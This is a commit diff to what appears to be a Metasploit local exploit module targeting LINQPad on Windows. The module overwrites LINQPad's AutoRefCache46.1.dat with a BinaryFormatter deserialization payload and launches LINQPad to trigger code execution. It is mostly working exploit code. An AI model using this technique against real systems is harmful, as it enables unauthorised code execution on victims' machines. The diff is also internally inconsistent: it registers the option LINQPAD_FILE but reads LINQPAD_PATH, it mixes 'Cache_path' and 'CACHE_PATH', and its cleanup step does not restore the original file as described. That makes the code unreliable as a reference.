Addressing some issues

Author: msutovsky-r7

modules/exploits/windows/local/linqpad_deserialization.rb

@@ -48,21 +48,22 @@ def initialize(info = {})
       )
     )
     register_options([
-      OptString.new('LINQPad_path', [true, "Path to LINQPad executable on target's machine", "C:\Users\ms\AppData\Local\LINQPad"]),
-      OptString.new('Cache_path', [true, 'Path to cache file directory containing deserialized data'])
+      	OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']),
+      	OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),
+ 	OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish'])
     ])
   end
 
   # Simplify pulling the writable directory variable
 
   def check
-    if datastore['LINQPad_path'].blank? || !file?(datastore['LINQPad_path'])
+    if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH'])
       return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist')
-    elsif datastore['Cache_path'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['cache_path'] + '/autorefcache46.1.dat')
+    elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
       return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
-    elsif !file?(datastore['cache_path'] + '/autorefcache46.1.dat')
+    elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
       return Exploit::CheckCode::Unknown('Cannot find cache file')
-    elsif file?(datastore['cache_path'] + '/autorefcache46.2.dat')
+    elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')
       return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
     else
       return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable')
@@ -77,9 +78,13 @@ def exploit
       formatter: :BinaryFormatter
     )
     # try to overwrite cache file
-    fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['Cache_path'] + '/AutoRefCache46.1.dat', dotnet_payload)
+    fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)
 
     # run LINQPad and trigger deserialization
-    fail_with(Failure::PayloadFailed, 'Running LINQPad failed') unless cmd_exec(datastore['LINQPad_path'])
+    fail_with(Failure::PayloadFailed, 'Running LINQPad failed') unless cmd_exec(datastore['LINQPAD_PATH'])
+
+    # add cleanup option
+    register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP']
+
   end
 end